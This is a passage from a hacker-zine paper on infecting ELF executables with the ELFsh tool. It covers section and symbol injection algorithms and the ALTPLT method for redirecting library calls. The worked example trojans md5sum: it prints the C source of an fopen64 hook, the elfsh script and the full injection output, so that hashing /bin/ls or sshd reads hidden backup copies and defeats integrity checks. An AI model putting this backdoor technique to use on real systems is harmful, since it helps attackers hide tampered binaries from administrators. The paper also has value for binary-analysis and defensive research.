b/ segment is writable (p_flags & PF_W)
[
- Put p_memsz value into p_filesz
- End of algorithm
]
]
--------[ Symbol Tables fusion algorithm
FOREACH symbol in ET_REL object
[
IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
[
- Get parent section for this symbol using st_shndx field
IF Parent section has been injected in 2. (same conditions)
[
- Add section's base address to the symbol value
- Inject new symbol into ET_EXEC
]
]
]
--------[ Section pre-interp injection algorithm
- Compute section size congruent with page size
- Create new section's header
- Inject section header (see SHT header insertion algorithm)
FOREACH PHT entry
[
IF a/ segment type is loadable (p_type == PT_LOAD)
b/ segment is executable (p_flags & PF_X)
[
- Add section's size to p_filesz and p_memsz
- Substract section's size from p_vaddr and p_paddr
]
ELSE IF segment type is PT_PHDR
[
- Substract section's size from p_vaddr and p_paddr
]
ELSE
[
- Add section's size to p_offset
]
]
- Shift SHT (see algorithm below)
---------[ Section post-bss injection algorithm
- Create new section's header
- Inject section header (see SHT header insertion algorithm)
FOREACH PHT entry
[
IF a/ segment is loadable (p_type == PT_LOAD)
b/ segment is writable (p_flags & PF_W)
[
- Add section's size to p_memsz and p_filesz
- End of algorithm
]
]
- Shift SHT by the section size (see next algorithm)
---------[ SHT shifting algorithm
FOREACH SHT entry
[
IF current linked section (sh_link) points after new section
[
- Increment by 1 the sh_link field
]
IF current file offset > injected section file offset
[
- Add injected section sh_size to current sh_offset
]
]
---------[ SHT header insertion algorithm
- Insert new section's name into .shstrtab
- Insert new entry in SHT at requested range
- Increment by 1 the e_shnum field in ELF header
FOREACH SHT entry
[
IF current entry file offset is after SHT file offset
[
- Add e_shentsize from ELF header to current sh_offset
]
]
IF injected section header sh_offset <= SHT file offset
[
- Add new section size (sh_size) to e_shoff field in ELF header
]
IF requested new section range <= section string table index
[
- Increment sh_strndx field in ELF header
]
---------[ Symbol injection algorithm
- Insert symbol name into .strtab section
- Insert symbol entry into .symtab section
---------[ Section data injection algorithm (apply to all type of section)
- Insert data into section
- Add injected data size to section's sh_size
IF SHT file offset > section file offset
[
- Add injected data size to e_shoff in ELF header
]
FOREACH SHT entry
[
IF current entry sh_offset field > extended section file offset
[
IF current entry sh_addr field is non-null
[
- Add injected data size to sh_addr
]
- Add injected data size to sh_offset
]
]
IF extended section sh_addr is non-null
[
FOREACH symbol table entry
[
IF symbol points after extended section former upper bound
[
- Add injected data size to st_value field
]
]
]
The relocation (step 4) algorithm wont be detailed, because it is
already all explained in the ELF reference. In short, the relocation
process consists in updating all the addresses references in the
injected ET_REL code, using the available merged symbol tables in
the ET_EXEC file. There are 12 relocation types on INTEL and 56
relocations types on SPARC, however, only 2 types are mostly used on
INTEL, and only 3 on SPARC for ET_REL objects.
This last stage is a switch/case based algorithm, which has in
charge to update some bytes, many times, in each injected mapped
section. The relocation tables contains all the information necessary
for this operation, their name is .rel.<target> (or .rela.<target> on
SPARC), with <target> beeing the section which is going to be
relocated using this table). Those sections can be easily found just
parsing the SHT and looking for sections whoose st_type is SHT_REL
(or SHT_RELA on SPARC).
What makes the ELFsh relocation engine powerful, is the using of both
symbol table (.symtab and .dynsym), which means that the injected
code can resolve symbols from the executable itself, e.g. it is
possible to call the core functions of the executable, as well
as existing .plt entries from the backdoor code, if their symbol
value is available. For more details about the relocation step,
please look at the ELFsh code in libelfsh/relinject.c, particulary
at the elfsh_relocate_i386 and and elfsh_relocate_sparc.
As suggested in the previous paragraph, ELFsh has a limitation since
it is not possible to call functions not already present in the
binary. If we want to call such functions, we would have to add
information for the dynamic linker, so that the function address can
be resolved in runtime using the standard GOT/PLT mechanism. It
would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
extensions, which is not trivial when we dont want to move the
binary data and code zones from their original addresses.
Since relocation information is not available for ET_EXEC ELF
objects, we woulnt be sure that our reconstructed relocation
information would be 100% exact, without having a very strong and
powerful dataflow analysis engine. This was proved by modremap
(modules/modremap.c) written by spacewalkr, which is a
SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder
(vm/findrel.c), this module can remap a ET_EXEC binary in another
place of the address space. This is known to work for /bin/ls and
various /bin/* but bigger binaries like ssh/sshd cannot be relocated
using this technique, because valid pointers double words are not
always real pointers in such bins (false positives happen in hash
values).
For this reason, we dont want to move ET_EXEC section's from their
original place. Instead, it is probably possible to add extra
sections and use big offsets from the absolute addresses stored
into .dynamic, but this feature is not yet provided. A careful
choice of external functions hijacking is usually enough to get rid
of the non-present symbol problem, even if this 'extra-function
resolving' feature will probably be implemented in the future. For
some sections like .hash, it may be necessary to do a copy of the
original section after .bss and change the referenced address in
the .dynamic section, so that we can extend the hash without moving
any original code or data.
-------[ 4. Infection : ALTPLT technique
Now that we have a decent residency technique in ET_REL injection,
let's focus on a new better infection technique than GOT redirection
and PLT infection : the ALTPLT technique. This new technique takes
advantage of the symbol based function address resolving of the
previous technique, as detailed below.
ALTPLT is an improvement of PLT infection technique. Silvio Cesare
describes how to modify the .plt section, in order to redirect
function calls to library onto another code, so called the hook
code. From [4], the algorithm of original .plt infection:
-----%<-------%<--------%<---------%<----------%<--------%<---------
'' The algorithm at the entry point code is as follows...
* mark the text segment writable
* save the PLT(GOT) entry
* replace the PLT(GOT) entry with the address of the new libcall
The algorithm in the new library call is as follows...
* do the payload of the new libcall
* restore the original PLT(GOT) entry
* call the libcall
* save the PLT(GOT) entry again (if it is changed)
* replace the PLT(GOT) entry with the address of the new libcall ''
-----%<-------%<--------%<---------%<----------%<--------%<---------
The implementation of such an algorithm was presented in x86
assembly language using segment padding residency. This technique
is not enough because:
1/ It is architecture dependant
2/ Strict segments rights may not be kept consistant (PaX unsafe)
3/ The general layout of the technique lacks a formal interface
The new ALTPLT technique consists of copying the Procedure Linkage
Table (.plt) to an alternative section, called .orig.plt, using a
pre-interp injection, so that it resides in the read-only code
segment. For each entry of the .orig.plt, we create and inject a
new reference symbol, which name the same as the .plt entry symbol
at the same index, except that it starts by 'old_'.
Using this layout, we are able to perform standard PLT infection on
the original .plt section, but instead of having a complex
architecture dependant hook code, we use an injected function
residing in hook.o.text, which is the text section of an ET_REL
module that was injected using the technique described in the
previous part of the paper.
This way, we can still call the original function using
old_funcname(), since the injected symbol will be available for
the relocation engine, as described in the ET_REL injection
algorithm ;).
We keep the GOT/PLT mechanism intact and we rely on it to provide
a normal function address resolution, like in every dynamic
executable files. The .got section will now be unique for both .plt
and .orig.plt sections. The added section .orig.plt is a strict copy
of the original .plt, and will not ever be overwritten. In other
words, .orig.plt is PaX safe. The only difference will be that
original .plt entries may not use .got, but might be redirected on
another routine using a direct branchement instruction.
Let's look at an example where the puts() function is hijacked, and
the puts_troj() function is called instead.
On INTEL:
-----BEGIN EXAMPLE 13-----
old_puts + 0 jmp *<_GLOBAL_OFFSET_TABLE_ + 20> FF 25 00 97 04 08
old_puts + 6 push $10 68 10 00 00 00
old_puts + 11 jmp <old_dlresolve> E9 C0 FF FF FF
puts + 0 jmp <puts_troj> E9 47 ED FF FF
puts + 5 or %ch,10(%eax) 08 68 10
puts + 8 add %al,(%eax) 00 00
puts + 10 add %ch,%cl 00 E9
puts + 12 sar $FF,%bh C0 FF FF
puts + 15 (bad) %edi FF FF
-----END EXAMPLE 13-----
On SPARC:
-----BEGIN EXAMPLE 14-----
old_puts + 0 sethi %hi(0xf000), %g1 03 00 00 3c
old_puts + 4 b,a e0f4 <func2+0x1e0c> 30 bf ff f0
old_puts + 8 nop 01 00 00 00
puts + 0 jmp %g1 + 0xf4 ! <puts_troj> 81 c0 60 f4
puts + 4 nop 01 00 00 00
puts + 8 sethi %hi(0x12000), %g1 03 00 00 48
-----END EXAMPLE 14-----
This is the only architecture dependant operation in the ALTPLT
algorithm. It means that this feature can be implemented very easily
for other processors as well. However, on SPARC there is one more
modification to do on the first entry of the .orig.plt section.
Indeed, the SPARC architecture does not use a Global Offset Table
(.got) for function address resolving, instead the .plt section is
directly modified at dynamic linking time. Except for this
difference, the SPARC .plt works just the same as INTEL .plt (both
are using the first .plt entry each time, as explained in the ELF
reference).
For this reason, we have to modify the first .orig.plt entry to make
it point on the first .plt entry (which is patched in runtime before
the main() function takes control). In order to patch it, we need to
use a register other than %g1 (since this one is used by the dynamic
linker to identify the .plt entry which has to be patched), for
example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).
Patched first .orig.plt entry on SPARC:
-----BEGIN EXAMPLE 15-----
.orig.plt sethi %hi(0x20400), %g2 05 00 00 81
.orig.plt jmp %g2 + 0x2a8 ! <.plt> 81 c0 a2 a8
.orig.plt nop 01 00 00 00
-----END EXAMPLE 15-----
The reason for NOP instructions after the branching instruction
(jmp) is because of SPARC delay slot. In short, SPARC branchement
is done in such way that it changes the NPC register (New Program
Counter) and not the PC register, and the instruction after a
branching one is executed before the real branchement.
Let's use a new example which combines ET_REL injection and ALTPLT
infection this time (instead of GOT redirection, like in the previous
sshd example). We will modify md5sum so that access to /bin/ls and
/usr/sbin/sshd is redirected. In that case, we need to hijack the
fopen64() function used by md5sum, swap the real path with the
backup path if necessary, and call the original fopen64 as if
nothing had happened:
-----BEGIN EXAMPLE 16-----
$ cat md16.esh
#!/usr/bin/elfsh
load /usr/bin/md5sum
load test.o
# Add test.o into md5sum
reladd 1 2
# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
redir fopen64 fopen64_troj
save md5sum.new
quit
$ chmod +x md16.esh
$
-----END EXAMPLE 16-----
Let's look at the injected code. Because the strcmp() libc
function is not used by md5sum and therefore its symbol is not
available in the binary, we have to copy it in the module
source:
-----BEGIN EXAMPLE 17-----
$ cat test.c
#include <stdlib.h>
#define HIDDEN_DIR "/path/to/hidden/dir"
#define LS "/bin/ls"
#define SSHD "/usr/sbin/sshd"
#define LS_BAQ "ls.baq"
#define SSHD_BAQ "sshd.baq"
int mystrcmp(char *str1, char *str2)
{
u_int cnt;
for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
if (str1[cnt] != str2[cnt])
return (str1[cnt] - str2[cnt]);
return (str1[cnt] - str2[cnt]);
}
int fopen64_troj(char *str1, char *str2)
{
if (!mystrcmp(str1, LS))
str1 = HIDDEN_DIR "/" LS_BAQ;
else if (!mystrcmp(str1, SSHD))
str1 = HIDDEN_DIR "/" SSHD_BAQ;
return (old_fopen64(str1, str2));
}
$ gcc test.c -c
$
-----END EXAMPLE 17-----
For this last example, the full relinking information
will be printed on stdout, so that the reader can enjoy
all the details of the implementation:
-----BEGIN EXAMPLE 18-----
$
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit
http://www.gnu.org to know about Free Software
~load /usr/bin/md5sum
[*] New object /usr/bin/md5sum loaded on Sat Aug 2 16:16:32 2003
~exec cc test.c -c
[*] Command executed successfully
~load test.o
[*] New object test.o loaded on Sat Aug 2 16:16:32 2003
~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64 [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc [080452A4]
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
[*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum
~redir fopen64 fopen64_troj
[*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>
~save md5sum.new
[*] Object md5sum.new save successfully
~quit
[*] Unloading object 1 (test.o)
[*] Unloading object 2 (/usr/bin/md5sum) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 18-----
As shown in the script output, the new file has got new
symbols (the old symbols). Let's observe them using the
elfsh '-sym' command and the regex capability ('old') :
-----BEGIN EXAMPLE 19-----
$ elfsh -q -f md5sum.new -sym old
[SYMBOL TABLE]
[Object md5sum.new]
[27] 0x80450f4 FUNC old_dlresolve sz:16 scop:Local
[28] 0x8045104 FUNC old_ferror sz:16 scop:Local
[29] 0x8045114 FUNC old_strchr sz:16 scop:Local
[30] 0x8045124 FUNC old_feof sz:16 scop:Local
[31] 0x8045134 FUNC old___register_frame_info sz:16 scop:Local
[32] 0x8045144 FUNC old___getdelim sz:16 scop:Local
[33] 0x8045154 FUNC old_fprintf sz:16 scop:Local
[34] 0x8045164 FUNC old_fflush sz:16 scop:Local
[35] 0x8045174 FUNC old_dcgettext sz:16 scop:Local
[36] 0x8045184 FUNC old_setlocale sz:16 scop:Local
[37] 0x8045194 FUNC old___errno_location sz:16 scop:Local
[38] 0x80451a4 FUNC old_puts sz:16 scop:Local
[39] 0x80451b4 FUNC old_malloc sz:16 scop:Local
[40] 0x80451c4 FUNC old_fread sz:16 scop:Local
[41] 0x80451d4 FUNC old___deregister_frame_info sz:16 scop:Local
[42] 0x80451e4 FUNC old_bindtextdomain sz:16 scop:Local
[43] 0x80451f4 FUNC old_fputs sz:16 scop:Local
[44] 0x8045204 FUNC old___libc_start_main sz:16 scop:Local
[45] 0x8045214 FUNC old_realloc sz:16 scop:Local
[46] 0x8045224 FUNC old_textdomain sz:16 scop:Local
[47] 0x8045234 FUNC old_printf sz:16 scop:Local
[48] 0x8045244 FUNC old_memcpy sz:16 scop:Local
[49] 0x8045254 FUNC old_fclose sz:16 scop:Local
[50] 0x8045264 FUNC old_getopt_long sz:16 scop:Local
[51] 0x8045274 FUNC old_fopen64 sz:16 scop:Local
[52] 0x8045284 FUNC old_exit sz:16 scop:Local
[53] 0x8045294 FUNC old_calloc sz:16 scop:Local
[54] 0x80452a4 FUNC old__IO_putc sz:16 scop:Local
[55] 0x80452b4 FUNC old_free sz:16 scop:Local
[56] 0x80452c4 FUNC old_error sz:16 scop:Local
$
-----END EXAMPLE 19-----
It sounds good ! Does it work now?
$ md5sum /bin/bash
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
$ ./md5sum.new /bin/bash
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
$ md5sum /bin/ls
3b622e661f6f5c79376c73223ebd7f4d /bin/ls
$ ./md5sum.new /bin/ls
./md5sum.new: /bin/ls: No such file or directory
$ md5sum /usr/sbin/sshd
720784b7c1e5f3418710c7c5ebb0286c /usr/sbin/sshd
$ ./md5sum.new /usr/sbin/sshd
./md5sum.new: /usr/sbin/sshd: No such file or directory
$ ./md5sum.new ./md5sum.new
b52b87802b7571c1ebbb10657cedb1f6 ./md5sum.new
$ ./md5sum.new /usr/bin/md5sum
8beca981a42308c680e9669166068176 /usr/bin/md5sum
$
Heheh. It work so well that even if you forget to put the original
copy in your hidden directory, md5sum prints the original path and
not your hidden directory path ;). This is because we only change a
local pointer in the fopen64_troj() function, and the caller function
is not aware of the modification, so the caller error message is
proceeded with the original path.
Let's give the detailed algorithm for the ALTPLT technique. It must
be used as a '2 bis' step in the main ET_REL injection algorithm
given in the previous chapter, so that injected code can use any
old_* symbols:
- Create new section header with same size, type, rights as .plt
- Insert new section header
IF current OS == FreeBSD
[
- Inject section using post-bss technique.
]
ELSE
[
- Inject section using pre-interp technique.
]
FOREACH .plt entry (while counter < sh_size)
[
IF counter == 0 AND current architecture is SPARC
[
- Infect current entry using %g2 register.
]
- Inject new 'old_<name>' symbol pointing on current entry
(= sh_addr + cnt)
- Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt
]
This algorithm is executed once and only once per ET_EXEC file. The
'redir' command actually performs the PLT infection on demand. A
future (better) version of this command would allow core binary
function hijacking. Since the code segment is read-only in userland,
we cant modify the first bytes of the function at runtime and perform
some awful bytes restoration [13] [14] for calling back the original
function. The best solution is probably to build full control flow
graphs for the target architecture, and redirect all calls to a given
block (e.g. the first block of the hijacked function), making all
these calls point to the hook function, as suggested in [15] . ELFsh
provides INTEL control flow graphs (see modflow/modgraph), so does
objobf [16], but the feature is not yet available for other
architectures, and some specific indirect branchement instructions
are not easily predictable [17] using static analysis only, so it
remains in the TODO.
-------[ 5. The end ?
This is the end, beautiful friend. This is the end, my only friend,
the end... Of course, there is a lot of place for improvements and new
features in this area. More target architectures are planed (pa-risc,
alpha, ppc?), as well as more ELF objects support (version tables,
ELF64) and extension for the script langage with simple data and
control flow support. The ELF development is made easy using the
libelfsh API and the script engine. Users are invited to improve the
framework and all comments are really welcomed.
-------[ 6. Greets
Greets go to #!dh and #dnerds peoples, you know who you are. Special
thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
precious feedback.
Other thanks, in random order : Silvio Cesare for his great work on
the first generation ELF techniques (I definitely learnt a lot from
you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
who greatly helped to provide reliable and portable software, pipash for
finding all the 76 char lenght lines of the article (your feedback
r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful
sparc/linux account, and Shaun Clowes for giving good hints.
Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
time I had with them during those days, you guyz rock.
-------[ 7. References
[1] The ELF shell project The ELF shell crew
MAIN : elfsh.devhell.org
MIRROR : elfsh.segfault.net
[2] PaX project The PaX team
pageexec.virtualave.net
[3] ELF TIS reference
x86.ddj.com/ftp/manuals/tools/elf.pdf
www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)
[4] UNIX ELF parasites and virus silvio
www.u-e-b-i.com/silvio/elf-pv.txt
[5] Shared library redirection by ELF PLT infection silvio
phrack.org/phrack/56/p56-0x07
[6] Understanding ELF rtld internals mayhem
devhell.org/~mayhem/papers/elf-rtld.txt
[7] More ELF buggery (bugtraq post) thegrugq
www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0
[8] Runtime process infection anonymous
phrack.org/phrack/59/p59-0x08.txt
[9] Subversive ELF dynamic linking thegrugq
downloads.securityfocus.com/library/subversiveld.pdf
[10] Static kernel patching jbtzhm
phrack.org/phrack/60/p60-0x08.txt
[11] Run-time kernel patching silvio
www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt
[12] Bypassing stackguard and stackshield bulba/kil3r
phrack.org/phrack/56/p56-0x05
[13] Kernel function hijacking silvio
www.u-e-b-i.com/silvio/kernel-hijack.txt
[14] IA32 advanced function hooking mayhem
phrack.org/phrack/58/p58-0x08
[15] Unbodyguard (solaris kernel function hijacking) noir
gsu.linux.org.tr/~noir/b.tar.gz
[16] The object code obfuscator tool of burneye2 scut
segfault.net/~scut/objobf/
[17] Secure Execution Via Program Shepherding Vladimir Kiriansky
www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf Derek Bruening
Saman Amarasinghe
|=[ EOF ]=---------------------------------------------------------------=|
